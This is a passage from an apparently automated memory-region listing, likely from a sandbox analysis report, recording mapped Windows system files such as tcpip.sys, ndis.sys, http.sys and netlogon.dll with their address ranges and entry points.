"\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6376 start_va = 0x196ef3b0000 end_va = 0x196ef606fff monitored = 0 entry_point = 0x196ef5bce10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6377 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6378 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6379 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6380 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6381 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6382 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6383 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6384 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6385 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6386 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6387 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6388 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6389 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 6390 start_va = 0x196ee9f0000 end_va = 0x196ee9fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 6391 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 6392 start_va = 0x196ee9f0000 end_va = 0x196ee9fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 6393 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 6394 start_va = 0x196ee9f0000 end_va = 0x196ee9fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 6395 start_va = 0x196ee9e0000 end_va = 0x196ee9e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6396 start_va = 0x196ef3b0000 end_va = 0x196ef7b7fff monitored = 0 entry_point = 0x196ef47e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6397 start_va = 0x196ee9e0000 end_va = 0x196ee9e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6398 start_va = 0x196ef3b0000 end_va = 0x196ef7b7fff monitored = 0 entry_point = 0x196ef47e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6399 start_va = 0x196ee9e0000 end_va = 0x196ee9e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6400 start_va = 0x196ef3b0000 end_va = 0x196ef7b7fff monitored = 0 entry_point = 0x196ef47e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6401 start_va = 0x196ee9e0000 end_va = 0x196ee9e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6402 start_va = 0x196ef3b0000 end_va = 0x196ef7b7fff monitored = 0 entry_point = 0x196ef47e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6403 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6404 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6405 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6406 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6407 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6408 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6409 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6410 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6411 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6412 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6413 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6414 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6415 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 6416 start_va = 0x196ef3b0000 end_va = 0x196ef484fff monitored = 0 entry_point = 0x196ef3de0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 6417 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 6418 start_va = 0x196ef3b0000 end_va = 0x196ef484fff monitored = 0 entry_point = 0x196ef3de0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 6419 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6420 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6421 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6422 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6423 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6424 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6425 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6426 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6427 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6428 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6429 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6430 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6431 start_va = 0x196ee9e0000 end_va = 0x196eea27fff monitored = 0 entry_point = 0x196eea1acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 6432 start_va = 0x196ef3b0000 end_va = 0x196ef3b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 6433 start_va = 0x196ee9e0000 end_va = 0x196eea27fff monitored = 0 entry_point = 0x196eea1acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 6434 start_va = 0x196ef3b0000 end_va = 0x196ef3b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 6435 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6436 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6437 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6438 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6439 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6440 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6441 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6442 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6443 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6444 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6445 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6446 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6447 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6448 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6449 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6450 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6451 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6452 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6453 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6454 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6455 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6456 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6457 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6458 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6459 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6460 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6461 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6462 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6463 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6464 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6465 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6466 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6467 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6468 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6469 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6470 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6471 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6472 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6473 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6474 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6475 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6476 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6477 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6478 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6479 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: 